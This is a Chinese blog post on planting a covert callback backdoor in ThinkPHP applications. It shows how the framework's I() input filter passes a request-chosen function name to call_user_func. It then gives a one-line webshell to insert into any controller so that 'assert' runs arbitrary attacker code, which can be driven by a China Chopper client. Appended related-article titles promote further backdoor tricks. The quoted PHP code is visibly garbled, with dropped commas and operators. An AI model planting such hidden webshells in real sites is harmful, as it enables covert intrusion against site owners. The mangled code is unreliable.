原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。

let me see see I函数的代码:

01 function I($name$default ''$filter = null, $datas = null)
02 {
03     ...
04  
05     if ('' == $name) {
06         // 获取全部变量
07         $data    $input;
08         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
09         if ($filters) {
10             if (is_string($filters)) {
11                 $filters explode(','$filters);
12             }
13             foreach ($filters as $filter) {
14                 $data = array_map_recursive($filter$data); // 参数过滤
15             }
16         }
17     elseif (isset($input[$name])) {
18         // 取值操作
19         $data    $input[$name];
20         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
21         if ($filters) {
22             if (is_string($filters)) {
23                 if (0 === strpos($filters'/')) {
24                     if (1 !== preg_match($filters, (string) $data)) {
25                         // 支持正则验证
26                         return isset($default) ? $default : null;
27                     }
28                 else {
29                     $filters explode(','$filters);
30                 }
31             elseif (is_int($filters)) {
32                 $filters array($filters);
33             }
34  
35             if (is_array($filters)) {
36                 foreach ($filters as $filter) {
37                     if (function_exists($filter)) {
38                         $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
39                     else {
40                         $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
41                         if (false === $data) {
42                             return isset($default) ? $default : null;
43                         }
44                     }
45                 }
46             }
47         }
48     ...
49     return $data;
50 }

I函数的第三个参数是$filter,作用是对变量的过滤。

新版本(3.2.3)中,$filter可以传入两种4种值:

1.一个过滤函数(字符串)

2.一些过滤函数组成的字符串,其间用“|”分割

3.一些过滤函数的字符串组成的数组

4.以“/”开头的正则表达式

可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

1 if (0 === strpos($filters'/')) {
2     if (1 !== preg_match($filters, (string) $data)) {
3         // 支持正则验证
4         return isset($default) ? $default : null;
5     }
6 }

如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

而回调函数部分,是我们留后门的关键。核心是这一段:

01 if (is_array($filters)) {
02     foreach ($filters as $filter) {
03         if (function_exists($filter)) {
04             $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
05         else {
06             $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
07             if (false === $data) {
08                 return isset($default) ? $default : null;
09             }
10         }
11     }
12 }

如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

我们跟进array_map_recursive函数:

01 function array_map_recursive($filter$data)
02 {
03     $result array();
04     foreach ($data as $key => $val) {
05         $result[$key] = is_array($val)
06         ? array_map_recursive($filter$val)
07         : call_user_func($filter$val);
08     }
09     return $result;
10 }

明显是一个递归执行的过程,最后调用的是call_user_func 。

还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

所以,我们只需要随意找个controller,在可访问的方法中插入:

1 I('post.90sec''', I('get.i'));

如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

我就拿thinkphp默认的IndexController下的index方法示例:

如下即可执行任意代码:

一个回调后门,菜刀也可以连接。

ThinkPHP留后门技巧的更多相关文章

  1. 使用大白菜U盘进入PE后再次重启电脑会留后门的清理方法

    使用大白菜U盘进入PE后再次重启电脑会留后门,这个后门主要是自动下载安装一些软件,比如金山毒霸等. 清除方法: 1.每次用完PE重启前,清理以下地方: ①c:\Windows\xxxxx.exe(查看 ...

  2. 入侵者已经拿到了主机的管理员权限,请你列举几种留后门的方法:(windows和LINUX系统均可)

    Webshell后门 XSS后门 远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门 系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库 ...

  3. meterpreter 如何留后门,使攻击持久化

    安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 6 ...

  4. thinkphp网站后门-发现后门(Webshell)文件

    不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...

  5. ASPX版菜刀一句话,留后门专用

    首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL ...

  6. PHP之编写日志文件留后门(免杀)

    (我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章, ...

  7. 奇淫异巧之 PHP 后门

    整理大部分来源信安之路 对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到 姿势 一般过狗思路 ...

  8. PHP后门隐藏与维持技巧

    在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. AD: 0×00 ...

  9. OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...

随机推荐

  1. BootCDN和npm

    稳定.快速.免费的开源项目 CDN 服务 BootCDN: jQuery3 <script type="text/javascript" src="http://c ...

  2. EditText监听键盘输入

    第一步,先在布局中为EditText设置属性 <EditText android:singleLine="true" android:imeOptions="act ...

  3. 圆形图片CircleImageView

    github源码路径: https://github.com/hdodenhof/CircleImageView 第一步:将CircleImageView复制 第二步:将attrs.xml复制 第三步 ...

  4. file-max与ulimit的关系与差别

    典型的,提供大量静态文件访问的web服务器,缓存服务器(如squid), 均要注意这个问题 网上的教程,大约只是简单说明了如何设置ulimit和file-max, 但并没有说清楚这两者之间的差别,让人 ...

  5. 动态添加PopupWindow

    动态添加PopupWindow的方法private void showPopupWindow() { LayoutInflater inflater = LayoutInflater.from(thi ...

  6. express-6 请求和响应对象(1)

    URL的组成部分 协议: 协议确定如何传输请求.我们主要是处理http和https.其他常见的协议还有file和ftp. 主机名: 主机名标识服务器.运行在本地计算机(localhost)和本地网络的 ...

  7. node body-parser

    var express = require('express'); var app = express(); var bodyParser = require('body-parser'); // p ...

  8. CocoaPods安装和使用教程

    Code4App 原创文章.转载请注明出处:http://code4app.com/article/cocoapods-install-usage 目录 CocoaPods是什么? 如何下载和安装Co ...

  9. dl dt dd定义

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  10. ural 1255. Graveyard of the Cosa Nostra

    1255. Graveyard of the Cosa Nostra Time limit: 1.0 secondMemory limit: 64 MB There is a custom among ...